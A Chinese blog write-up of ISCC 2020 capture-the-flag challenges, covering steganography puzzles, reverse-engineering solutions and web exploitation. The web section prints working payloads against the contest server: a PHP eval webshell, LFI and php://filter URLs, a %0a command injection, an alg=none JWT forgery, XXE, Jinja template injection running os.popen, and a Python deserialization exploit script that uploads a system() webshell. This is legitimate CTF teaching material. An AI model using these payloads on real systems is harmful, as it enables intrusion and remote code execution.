ISCC 2020 Writeup


本文最后更新于:2020年5月29日 凌晨

一道pwnmoblie都没解出来就结束了,其它题也好多都没解出来,我真……的还想再学五百年……

向学长看齐,所以还是先宣传一波ISCC……(逃……)

ISCC简介:(复制粘贴来的)

信息安全已涉及到国家政治、经济、文化、社会和生态文明的建设,信息系统越发展到它的高级阶段,人们对其依赖性就越强,从某种程度上讲其越容易遭受攻击,遭受攻击的后果越严重。“网络安全和信息化是一体之两翼、驱动之双轮。没有网络安全就没有国家安全。”信息是社会发展的重要战略资源,国际上围绕信息的获取、使用和控制的斗争愈演愈烈,信息安全保障能力是综合国力、经济竞争实力和生存能力的重要组成部分,是世纪之交世界各国奋力攀登的至高点。 信息安全与对抗技术竞赛(ISCC:Information Security and Countermeasures Contest),于2004年首次举办(国内第一),2020年为第17届。2019年竞赛的注册人数近7000人,参加竞赛的院校数1000多所,ISCC竞赛的影响广泛且深远。竞赛不断追求“更高、更快、更强”,持续培养高素质信息安全对抗专业人才。

摘自官网: ISCC

MISC

high

欢迎来到MISC的炼狱!赛高泥high铁鸭子哒!哈哈哈哈哈哈哈!

做个misc都有JOJO出现,也是醉了啊……

1.png

一看png,先分析文件头,文件名high,于是先修改IHDR中高度值,果然发现flag……但……是

2.png

还有一层维吉尼亚密码,key为high…… $\longleftarrow$ 就这个我交了20多遍的flag,出师不利

Flag:
ISCC{W3lcome_to_Mi5C_Wryyy}

话说为什么有个一般binwalk固件分析才找到出来的……myi MyiSAM索引文件,迷……

ISCC成绩查询-1

Ron在5月份参加了第17届ISCC竞赛,查成绩的时间到了。但是在他登录时,他突然发现自己忘记了英文用户名,好在他当时记录了自己的英文用户名,你能帮助他找回来嘛?

(连用户名都没记住,嗐……)

仍然一个png,感觉没啥问题,上Stegsolve,发现隐写

3.png

是个图论,数了下,发现度为奇数的点刚好两个,而且还有些点有标号,那我们就来走一次欧拉回路吧!

link.png

把经过边上的字母连在一起,得到TRLNCHHAFCIEEIEEPR,但是不像用户名,继续试密码,最后栅栏密码6栏得到THERAILFENCECIPHER,恰好为栅栏密码英文名,这用户名取得好啊……

Flag:
flag{THERAILFENCECIPHER}

寻找小明-1

没题面,以后补

重点:最低位的背影,于是上Stegsolve,发现Red plane 0有个二维码,扫一下,得到:(记得反色)

0.png

https://pastebin.com/Yjy1crAs

然后,得到一个数组:

[257,1,258,2,259,3,260,4,261,5,262,7,263,8,259,277,438,300,455,319,25,300,456,400,66,366,78,300,421,259,452,23]

个数为偶数,于是猜想是坐标,两个两个从原图找点,由于是在Red plane找到的,就尝试把RGB中R的数值转换为字符,得到flag……

#!/usr/bin/python3
from PIL import Image

pos = [257,1,258,2,259,3,260,4,261,5,262,7,263,8,259,277,438,300,455,319,25,300,456,400,66,366,78,300,421,259,452,23]

if __name__ == ""__main__"":
    img=Image.open(""最低位的背影.png"")
    img_array = img.load()
    flag = """"
    for i in range(len(pos) // 2):
        flag = flag + chr(img_array[pos[i * 2],pos[i * 2 + 1]][0])
    print(flag)

(结束了看了学长的wp才发现自己想的太多了……xor,取余,怪不得什么都没找到……)

Flag:
flag{ISCC*funny}

锟斤拷

且作诗一首:
手持两把锟斤拷,口中疾呼烫烫烫。
脚踏千朵屯屯屯,笑看万物锘锘锘。
在神器锟斤拷的高温下,你快速是否能找到flag,免受炼狱之苦呢?

第一次出题,出了个毒瘤题,RE硬生生成了MISC……

clip_image002.png

首先看到garbled-char.png这个图像,“锟斤拷”三个大字,明显指出了这道题与编码有关,更具体点应该是gbkunicode

继续发现图像文件有些偏大,猜想是否隐写了其它文件,用binwork一看,果然发现端倪,解包出来。

clip_image004.jpg

得到下列文件:

clip_image005.png

发现flag.rar有密码,只有从其它几项入手了。

首先看看pwd.txt,发现用默认的utf-8编码无法打开,想想之前的“锟斤拷”,试着用gbk编码打开,得到下列字符串:

clip_image007.jpg

新佛曰”开头,是比较流行的“新约佛论禅”加密,搜索找到解密网站,得到下列字符串:

clip_image009.jpg

把字符串当作密码输入,果然不正确,还差了点,继续从剩下的文件找线索。

useful文件像是一个程序,但无法运行,先放在一边。

information.txt的第一行写了“for useful”,解读了这个文件,或许就能让useful运行了。

clip_image011.jpg

看剩下七行,第一个字符总是g,b,k中的一个,第二个字符是1-7,之前又说与gbk有关,似乎可以给排个序?

按照感觉比较合理的顺序排个序,例如:g1,b2,k3,g4,b5,k6,g7

clip_image013.jpg

继续看每行后面的内容,这似曾相似的感觉,似乎是经典的凯撒密码,每行格式相似,而且既有数字也有小写字母,数字也比较连续,看样子数字和小写字母是分开使用交换加密的,循环应该分别是10和26,但是偏移量是多少呢?继续沉思……

继续想到gbkunicode………… u n i c o d e,一共是7个,g b k g b k g也一共7个,是不是从g b k g b k g —> u n i c o d e呢?字符对应的差值就是每一行对应相应的偏移量?赶紧写份代码试试……

运行后果然得到了下面的结果:

clip_image015.jpg

看样子是对useful异或加密了,而且还是分段的,写出解密程序,对useful进行解密。

用file命令判断下文件类型,果然是ELF文件。

clip_image017.jpg

拖到ida里面,发现函数很少,感觉被加了壳,继续分析,发现是简单的upx壳,直接脱下即可。

clip_image019.jpg

脱完壳继续拖到ida里面,找到main函数,打开graph视图,发现逻辑很复杂,不像一般的程序,比较像虚拟机之类的程序。

clip_image021.jpg

打开字符串窗口,看下是否有一些信息,发现了大量Py相关的字符串,有一条明确指出为Python VM,看样子是Python虚拟机没错了,应该是Python脚本的包装器。

clip_image023.jpg

最常用的无疑就是Pyinstaller了,通过pyi-bootloader-ignore-signals等字符串也说明了是该ELF是Pyinstaller打的包,开始反编译吧。

查找资料发现,有一款叫pyinstxtractor的开源程序可以反编译Pyinstaller打包程序,为了防止一些奇奇怪怪的事情发生,我们直接到github上找最新的程序源码。

实验后发现pyinstxtractor只能解包exe,不能解包ELF……先放在一旁吧……

继续查阅资料,发现PyInstaller自带pyi-archive_viewer这样一款工具,可以去提取可执行文件中(当然包括ELF)的py代码,有戏!

根据文档,我们可以把pyc文件dump出来,这不就相当于得到源码了吗!

用pyi-archive_viewer很简单就找到了useful这个pyc文件,同时发现了cpython36等字样,说明该文件是在python3.6下用PyInstaller打包的。

现在dump出pyc文件,开始反编译吧。

tmZbv9.jpg

反编译时工具很多,这里使用uncompyle6

但却发现出错了,有什么问题吗?

继续查阅资料,发现PyInstaller在打包.pyc时,会把.pyc的magic和时间戳+大小参数去掉,而且各个版本所占字节数不同,同时用pyi-archive_viewer dump时并不会自动还原,只好自己修复,时间戳+大小参数可以随意(可以用00填充),但magic应该怎么获取?

Python 3.6在pyc文件头该增加什么?回想起之前好像有个开源的pyinstxtractor,而Pyinstaller在不同平台用的打包方式应该很相似,可以通过源码学习一下。

通过研究pyinstxtractor源码,我们知道了pyc缺失的部分的格式。

magic可以使用对应版本的python获得,而python 3.6 的magic后面还需要8个字节(时间戳+大小参数),下载Python 3.6,获得四个字节的magic,故pyc一共缺失12个字节。

clip_image027.jpg

tmZHgJ.jpg

我们得到了pyc缺失的部分,手动用hex编辑器补上。

clip_image031.jpg

然后用uncompyle6反编译,得到py源码。

tmZTCF.jpg

tmZ734.jpg

通过分析发现,这个有用的字符串(也就是需要加在之前获得的字符串后面的字符串),先通过了10次base64编码,再通过输入的pos切片,分别进行a85(Ascii85)和b85(RFC1924)加密后拼接,与目标字符串比较判断是否正确。经过分析,我们可以逆推出useful String。

输入的pos是多少呢?看main前面的表达式我们似乎可以算出来,但是次方过大,无法直接算,发现有取模运算,于是可以用快速幂得到pos为112(当然也可以用数学方法).

但此时的pos并不是targetStr的切片点,因为a85(Ascii85)的加密方式是以4个字节为一组加密为5个字节,故实际的pos = 112 // 4 * 5 = 140,此时就可以开始编写解密脚本了。

最后得到字符串“\xef\xbf\xbd”,这不就是“锟斤拷”的“罪魁祸首”之一吗?

与之前的“我是没有用处的,除非你在后面加点什么”相连,得到密码,解压flag.rar,得到flag.(记得在两边加上flag{})

Flag:
flag{gbk&unicode^_^YOu-gOT+It}

Web

Php is the best language

没题面,以后补

index.php源码,一看,php反序列化,把flag.php写到序列化函数就行了

// index.php
<?php  
@error_reporting(1);
include 'flag.php';
class baby 
{
    public $file;
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = ""./{$this->file}"";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
if (isset($_GET['data']))
{
    $data = $_GET['data'];
        $good = unserialize($data);
        echo $good;
}
else 
{
    $url='./index.php';
}

$html='';
if(isset($_POST['test'])){
    $s = $_POST['test'];
    $html.=""<p>谢谢参与!</p>"";
}
?>

// to-flag.php
<?php  
class baby 
{
    public $file = 'flag.php';
    function __toString()      
    {
        if(isset($this->file))
        {
            $filename = ""./{$this->file}"";
            if (base64_encode(file_get_contents($filename)))
            {
                return base64_encode(file_get_contents($filename));
            }
        }
    }
}
$data = new baby;
$good = serialize($data);
echo $good;
?>

得到flag……(我可不是php expert,只是菜鸟)

Flag:
flag{u_r_really_a_php_expert}

What image can do

用最意想不到的图,做最意想不到的事 (有点东西)

文件上传题,下面查看可以运行shell,摆弄一番,发现是内容检测绕过,windows直接找张图片copy /b 1.jpg+shell.php shell.jpg就行。

顺便发现原本包含的file*.php在下级子目录,所以GET时记得../uploads/*,就像这样

http://101.201.126.95:7004/?filename=../uploads/2020/05/07/3942885eb3cba14e059674002813.jpg&submit=phpinfo();

tmexLn.png

我那乱七八糟的shell

<?php
	echo '<br/>';
	echo ""__FILE__:  ========>  "".__FILE__;    
	echo '<br/>';
	echo ""__DIR__:  ========>  "".__DIR__;  
	echo '<br/>'; 
	echo highlight_file(""/var/www/html/flag.php"");
	echo '<br/>'; 
	echo highlight_file(""/var/www/html/index.php"");
	@eval($_GET['submit']);
?>

附上index.php

<?php
$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = ""clientcheck.php""){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','','','','active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

include_once 'inc/uploadfunction.php';

$html='';
if(isset($_POST['submit'])){
    $type=array('jpg','jpeg','png');//指定类型
    $mime=array('image/jpg','image/jpeg','image/png');
    $save_path='uploads'.date('/Y/m/d/');//根据当天日期生成一个文件夹
    $upload=upload('uploadfile','512000',$type,$mime,$save_path);//调用函数
    if($upload['return']){
        $html.=""<p class='notice'>success!</p><p class='notice'>文件保存的路径为:{$upload['save_path']}</p>"";
    }else{
        $html.=""<p class=notice>{$upload['error']}</p>"";

    }
}
?>

<head>
    <title>ISCC | What can images do?</title>
    <style>
    body{background-image:url(./static/background.jpg);}

    html,body{
    position: relative;
    height: 100%;
    }

    .main-content{
    position: relative;
    width: 300px;
    margin: 80px auto;
    padding: 20px 40px 40px;
    text-align: center;
    background: #fff;
    border: 1px solid #ccc;
    }

    .main-content::before,.main-content::after{
    content: """";
    position: absolute;
    width: 100%;height: 100%;
    top: 3.5px;left: 0;
    background: #fff;
    z-index: -1;
    -webkit-transform: rotateZ(4deg);
    -moz-transform: rotateZ(4deg);
    -ms-transform: rotateZ(4deg);
    border: 1px solid #ccc;
    }

    .main-content::after{
    top: 5px;
    z-index: -2;
    -webkit-transform: rotateZ(-2deg);
     -moz-transform: rotateZ(-2deg);
      -ms-transform: rotateZ(-2deg);
    }

    .main-content1{
    position: relative;
    width: 300px;
    margin: 80px auto;
    padding: 20px 40px 40px;
    text-align: center;
    background: #fff;
    border: 1px solid #ccc;
    }

    .main-content1::before,.main-content::after{
    content: """";
    position: absolute;
    width: 100%;height: 100%;
    top: 3.5px;left: 0;
    background: #fff;
    z-index: -1;
    -webkit-transform: rotateZ(4deg);
    -moz-transform: rotateZ(4deg);
    -ms-transform: rotateZ(4deg);
    border: 1px solid #ccc;
    }

    .main-content1::after{
    top: 5px;
    z-index: -2;
    -webkit-transform: rotateZ(-2deg);
     -moz-transform: rotateZ(-2deg);
      -ms-transform: rotateZ(-2deg);
    }
    </style>
</head>
<body>
<div class=""main-content"">
    <div class=""main-content-inner"">
        <div class=""page-content"">
            <div id=""usu_main"">
                <form class=""upload"" method=""post"" enctype=""multipart/form-data""  action=""""><br/>
                    <input class=""uploadfile"" type=""file""  name=""uploadfile"" /><br/>
                    <input class=""sub"" type=""submit"" name=""submit"" value=""点击上传"" />
                </form>
                <?php
                echo $html;//输出了上传文件的路径
                ?>
            </div>
        </div><!-- /.page-content -->
    </div>
</div><!-- /.main-content -->

<?php

$SELF_PAGE = substr($_SERVER['PHP_SELF'],strrpos($_SERVER['PHP_SELF'],'/')+1);

if ($SELF_PAGE = ""fi_local.php""){
    $ACTIVE = array('','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','active open','',
        'active','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','','');
}

$html='';
if(isset($_GET['submit']) && $_GET['filename']!=null){
    $filename=$_GET['filename'];
    include ""include/$filename"";//变量传进来直接包含,没做任何的安全限制
//     安全的写法,使用白名单,严格指定包含的文件名
//     if($filename=='file1.php' || $filename=='file2.php' || $filename=='file3.php' || $filename=='file4.php' || $filename=='file5.php'){
//         include ""include/$filename"";
//     }
}

?>


<div class=""main-content1"">
    <div class=""main-content-inner1"">
        <div class=""page-content1"">
            <div id=fi_main>
                <p class=""fi_title"">PS:这里可以看到一些好看的图片示例哦~</p>
                <form method=""get"">
                    <select name=""filename"">
                        <option value="""">--------------</option>
                        <option value=""file1.php"">the Eiffel Tower</option>
                        <option value=""file2.php"">the Great Wall</option>
                        <option value=""file3.php"">Big Ben</option>
                        <option value=""file4.php"">Statue Of Liberty</option>
                        <option value=""file5.php"">Taj Mahal</option>
                    </select>
                    <input class=""sub"" type=""submit"" name=""submit"" />
                </form>
                <?php echo $html;?>
            </div>
        </div><!-- /.page-content1 -->
    </div>
</div><!-- /.main-content1 -->

</body>

最终flag为:

Flag:
flag{ISCC_FREAKING_AWESOME}

的确意想不到,webshell被传了一大堆,而且靶场上传目录还被写成过000,醉……

Where is file

没题面,以后补

有源码,分析后直接php伪协议,php://filter搞定

http://101.201.126.95:7009/?file=php://filter/read=convert.base64-encode/resource=flag.php&hello=flag.php
// index.php
<?php
show_source(__FILE__);
echo $_GET['hello'];
$file=$_GET['file'];
while (strstr($file, ""file://"")) {
    $file=str_replace(""file://"", """", $file);
}
include($file);
?>

// flag.php
<?php
$a=""flag{web_include_file}"";
?>
Flag:
flag{web_include_file}

阿帅的爱情

tmmIl4.png

找到题目,发现index.php源码

<?php
if(!isset($_GET[""ip""])){
    show_source(__file__);
} else
{
    $ip=$_GET[""ip""];
    $pattern=""/[;|&].*[a-zA-Z]+/"";
    if(preg_match($pattern,$ip)!=0){
        die('bad domain');
    }
    try {
        $result = shell_exec('ping -c 4 ' . $ip);
    }
    catch(Exception $e) {
        $result = $e->getMessage();
        echo $result;
    }
    $result = str_replace(""\n"", ""<br>"", $result);
    echo $result;
}

发现是审计,分析一下,有一个命令执行漏洞,正则被过滤,但是可以直接用%0a绕过,ls查看发现flag.php,直接cat flag.php

tmm5pF.png

这个flag够长……

Flag:
flag{6Zi/5qOu5LiK5LqG6Zi_5biF77yM5Zyo5LiA5Liq5rKh5py_J5pif5pif55qE5aSc5pma}

未知的风险-1

tmmxpD.png

打开,发现只有hello guest;,于是用burpsuite抓包,发现Cookie: token,分析一下,是JWT,所以根据题意伪造user的JWT

alg为none,于是第三部分加密就不用伪造了

// JWT伪装user:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJpZCI6InVzZXIiLCJpYXQiOjE1ODg4NTM1OTYsImp0aSI6ImEzNGFkMzQ4ZGMzMjZkOTIxNGUyNmVkYTcwMTBjYjA2In0.
{""typ"":""JWT"",""alg"":""none""}.{""id"":""user"",""iat"":1588853596,""jti"":""a34ad348dc326d9214e26eda7010cb06""}

修改Cookie,进入一个登录页面,查看页面源代码,发现ajax请求用的是XML,所以可以用XXE漏洞。

抓包,修改XML,试了几下,发现php伪协议能用,有flag.php,于是JWT+XXE+php://filter搞定,

<!DOCTYPE GVI [ <!ELEMENT foo ANY >
<!ENTITY xxe SYSTEM ""php://filter/read=convert.base64-encode/resource=flag.php"" >]>
<user><username>&xxe;</username><password>asd</password></user>`

最后base64转化一下:

Flag:
flag{get_the_methodd}

未知的风险-2

没题面,以后补

有index.txt,不过需要去有意试一下

//index.php
<?php

//error_reporting(0);
include('secret.php');

$sandbox_dir = 'sandbox/'.sha1($_SERVER['REMOTE_ADDR']);
global $sandbox_dir;

function myserialize($a, $secret) {
    $b = str_replace(""../"",""./"", serialize($a));
    return $b.hash_hmac('sha256', $b, $secret);
}

function myunserialize($a, $secret) {
    if(substr($a, -64) === hash_hmac('sha256', substr($a, 0, -64), $secret)){
        return unserialize(substr($a, 0, -64));
    }
}

class UploadFile {

    function upload($fakename, $content) {
        global $sandbox_dir;
        $info = pathinfo($fakename);
        $ext = isset($info['extension']) ? ""."".$info['extension'] : '.txt';
        file_put_contents($sandbox_dir.'/'.sha1($content).$ext, $content);
        $this->fakename = $fakename;
        $this->realname = sha1($content).$ext;
    }
    function open($fakename, $realname) {
        global $sandbox_dir;
        $analysis = ""$fakename is in folder $sandbox_dir/$realname."";
        return $analysis;
    }
}

if(!is_dir($sandbox_dir)) {
    mkdir($sandbox_dir,0777,true);
}

if(!is_file($sandbox_dir.'/.htaccess')) {
    file_put_contents($sandbox_dir.'/.htaccess', ""php_flag engine off"");
}

if(!isset($_GET['action'])) {
    $_GET['action'] = 'home';
}


if(!isset($_COOKIE['files'])) {
    setcookie('files', myserialize([], $secret));
    $_COOKIE['files'] = myserialize([], $secret);
}


switch($_GET['action']){
    case 'home':
    default:
        $content = ""<form method='post' action='index.php?action=upload' enctype='multipart/form-data'><input type='file' name='file'><input type='submit'/></form>"";

        $files = myunserialize($_COOKIE['files'], $secret);
        if($files) {
            $content .= ""<ul>"";
            $i = 0;
            foreach($files as $file) {
                $content .= ""<li><form method='POST' action='index.php?action=changename&i="".$i.""'><input type='text' name='newname' value='"".htmlspecialchars($file->fakename).""'><input type='submit' value='Click to edit name'></form><a href='index.php?action=open&i="".$i.""' target='_blank'>Click to show locations</a></li>"";
                $i++;
            }
            $content .= ""</ul>"";
        }
        echo $content;
        break;
    case 'upload':
        if($_SERVER['REQUEST_METHOD'] === ""POST"") {
            if(isset($_FILES['file'])) {
                $uploadfile = new UploadFile;
                $uploadfile->upload($_FILES['file']['name'], file_get_contents($_FILES['file']['tmp_name']));
                $files = myunserialize($_COOKIE['files'], $secret);
                $files[] = $uploadfile;
                setcookie('files', myserialize($files, $secret));
                header(""Location: index.php?action=home"");
                exit;
            }
        }
        break;
    case 'changename':
        if($_SERVER['REQUEST_METHOD'] === ""POST"") {
            $files = myunserialize($_COOKIE['files'], $secret);
            if(isset($files[$_GET['i']]) && isset($_POST['newname'])){
                $files[$_GET['i']]->fakename = $_POST['newname'];
            }
            setcookie('files', myserialize($files, $secret));
        }
        header(""Location: index.php?action=home"");
        exit;
    case 'open':
        $files = myunserialize($_COOKIE['files'], $secret);
        if(isset($files[$_GET['i']])){
            echo $files[$_GET['i']]->open($files[$_GET['i']]->fakename, $files[$_GET['i']]->realname);
        }
        exit;
    case 'reset':
        setcookie('files', myserialize([], $secret));
        $_COOKIE['files'] = myserialize([], $secret);
        array_map('unlink', glob(""$sandbox_dir/*""));
        header(""Location: index.php?action=home"");
        exit;
}

是个自建沙箱上传的题目,用了.htaccess防止webshell运行,有几个功能,同时发现反序列化函数,在这里,由于用户控制的Cookie被直接发送到s_unserialize()函数,所以我们可以尝试寻找PHP对象注入漏洞。

……(过程十分复杂,由于是Insomni’hack Teaser 2018 File Vault 原题,可以参考官方Writeup

脚本如下,传上去webshell后就可以用中国蚁剑连接了,不过其实直接GET cat ../../flag.php 就行了,不过不要拿着shell乱搞……

import requests
import urllib
import hashlib

URL = ""http://101.201.126.95:7005/""
s = requests.Session()

default_content = ""AK""
my_ip = ""127.0.0.1"" # 修改为自己ip
newname = ""../"" * 117 # 覆写 fakename #2
remote_address = hashlib.sha1(my_ip.encode('utf-8')).hexdigest()
serialized_injection = '"";s:8:""realname"";s:44:""%s.txt"";}i:1;O:10:""ZipArchive"":7:{s:8:""fakename"";s:58:""sandbox/%s/.htaccess"";s:8:""realname"";s:1:""9"";s:6:""status"";i:0;s:9:""statusSys"";i:0;s:8:""numFiles"";i:0;s:8:""filename"";s:0:"""";s:7:""comment"";s:67:""' % (hashlib.sha1(default_content.encode('utf-8')).hexdigest(), remote_address)

shell_php = '''<?php 
	if(isset($_POST['pass'])){
		@eval($_POST['pass']);
	}
	if(isset($_GET['cmd'])){
		system($_GET['cmd']);
	}
	if(isset($_GET['phpcmd'])){
		@eval($_GET['phpcmd']);
	}
?>'''


def upload(name, content=default_content):
    files = {'file': (name, content)}
    params = { ""action"" : ""upload"" }
    s.post(URL, params=params, files=files)

def rename(index, new_name):
    data = { ""newname"" : new_name }
    params = {
        ""action"" : ""changename"",
        ""i"" : index
    }
    s.post(URL, params=params, data=data)

def open_file(index):
    params = {
        ""action"" : ""open"",
        ""i"" : index
    }
    return s.get(URL, params=params).text

# 随意上传两个文件
upload(""A"")
upload(""B"")

# 通过重命名注入序列化 ZipArchiver
rename(1, serialized_injection)
rename(0, newname)

# 上传 shell
upload(""shell.php"", shell_php)

# 收到的 Cookie
print("" === Cookie === "")
print(urllib.request.unquote(s.cookies['files']))
print("" ============== "")

# Trigger .htaccess 被删除
open_file(1)

shell_url = URL + ""sandbox/%s/%s.php"" % (remote_address, hashlib.sha1(shell_php.encode('utf-8')).hexdigest())
print(shell_url)

response = requests.get(shell_url, params={""cmd"" : ""cat ../../secret.php""})
flag = response.text
print(flag)

得到flag……(第一次的时候发现sandbox无法访问,准是靶场目录权限又被改成000了)

Flag:
flag{ghs_aswoer_nmxld}

随意翻了下别人传的,都是些什么和什么哦……

Easy Injection

python template injection

唯一做的一道擂台题,明显python template注入……

找到第231个类包含了os库,于是用listdir查看,看到flog文件,用popen创建管道传回终端结果,得到flag……

第一次:
http://101.201.126.95:7050/{% for item in ''.__class__.__mro__[1].__subclasses__() %}%0a{% if 'os' in item.__init__.__globals__ %}%0a<br />{{'%d:%s' % (loop.index0, item.__dict__)}}%0a{% endif %}%0a{% endfor %}

第二次:
http://101.201.126.95:7050/{{''.__class__.__mro__[1].__subclasses__()[231].__init__.__globals__['os'].listdir('.')}}
返回:URL http://101.201.126.95:7050/['%', 'tt.txt', '.travis.yml', '.gitignore', 'requirements.txt', 'index.py', 'flog'] not found

第三次:
http://101.201.126.95:7050/{{''.__class__.__mro__[1].__subclasses__()[231].__init__.__globals__['os'].popen(""cat flog"").read()}}

附上index.py

#encoding:utf-8
from flask import Flask,request,render_template_string 
import urllib.request,urllib.parse 
app = Flask(__name__) 
@app.route(""/"") 
def hello(): 
	return ""python template injection"" 
@app.errorhandler(404) 
def page_not_found(error): 
	url = urllib.parse.unquote(request.url) 
	return render_template_string(""<h1>URL %s not found</h1><br/>""%url), 404 
if __name__ == '__main__': 
	app.run(debug=False, host='0.0.0.0', port=80)
Flag:
flag{tomrrow_WILL_be_FINE}

(但是明天下雨,谢谢……)

Re

苏大强的保险箱-1

没题面,以后补

直接用IDA,找到加密函数,直接写段C输出即可……

记得要逆序一下

#include<stdio.h>
int b[20] = {0xD5, 0x9E, 0xB4, 0x70, 0x78, 0x60, 0x82, 0x70, 0x39, 0x5E};
int a[20] = {0x0A, 7, 0x41, 0x0B, 0x2C, 0x0C, 0x3D, 0x38, 0x27, 0x73};
int main()
{
	char m[20];
	for (int i = 0; i <= 9; ++i) m[9 - i] = b[9 - i] - i - a[i];
	printf(""flag{%s}\n"", m);
	return 0;
}
Flag:
flag{You-g0t-1T}

苏大强的保险箱-2

没题面,以后补

还是用IDA,找到加密函数,发现是RC4,百度后直接写出C文件,输出flag

#include<stdio.h>
#include<time.h>
#include<string.h>
#include<stdlib.h> 
#define MAX 65534

int S[256]; //向量S
char T[256];    //向量T
char Key[256] = ""a1dWT1pJXF1USVxRV1ZbUElQSVBJ"";
int KeyStream[MAX]; //密钥
char CryptoText[MAX];
void init_S()
{
	for(int i = 0; i < 256; i++)
	{
		S[i] = i;
	}
}

void init_Key()
{
	// 初始密钥
	int keylen = strlen(Key);
	for(int i = 0; i < 256; i++)    //初始化T[]
	{
		T[i] = Key[i%keylen];
	}
}

void  permute_S()
{
	// 置换S;
	int temp;
	int j = 0;
	for(int i = 0; i < 256; i++)
	{
		j = (j + S[i] + T[i]) % 256;
		temp = S[i];
		S[i] = S[j];
		S[j] = temp;
	}
}

void create_key_stream(int textLength)
{
	// 生成密钥流
	int i,j;
	int temp, t, k;
	int index = 0;
	i = j = 0;
	while(textLength --)    //生成密钥流
	{
		i = (i+1)%256;
		j = (j + S[i]) % 256;
		temp = S[i];
		S[i] = S[j];
		S[j] = temp;
		t = (S[i] + S[j]) % 256;
		KeyStream[index] = S[t];
		index ++;
	}
}
void Rc4EncryptText(int *text, int textLength)
{
	//加密 && 解密
	init_S();
	init_Key();
	permute_S();
	create_key_stream(textLength);
	printf(""============开始解密============:\n"");
	for(int i = 0; i < textLength; i++)
	{
		CryptoText[i] = (char)(KeyStream[i] ^ text[i]); //加密
	}
	printf(""flag{"");
	for(int i = 0; i < textLength; i++)
	{
		printf(""%c"", CryptoText[i]);
	}
	printf(""}\n"");
	printf(""\n============解密完成============\n""); 
}

int main()
{
	int x[20] = {-99, -121, 113, -92, -125, 11, -86, 83, -60, 56, 54, -123};
	Rc4EncryptText(x, 12);
	system(""pause""); 
	return 0;
}

IDA一番操作猛如虎……

Flag:
flag{1amSuda7iang}

话说做2的时候都忘了1有个key了,直接IDA找出来,不管它是组合题了

结语

别问我为什么用cnblogs……

主要是现在都没找到满意的blog方式,但是发现Hexo + Django好像不错,可以暑假写写试试

这还真弄出来了,不过还是有好多bug,欲知其过程艰辛,且看下文分解。


文章作者: SpaceSkyNet
版权声明: 本博客所有文章除特別声明外,均采用 CC BY 4.0 许可协议。转载请注明来源 SpaceSkyNet !
  目录
评论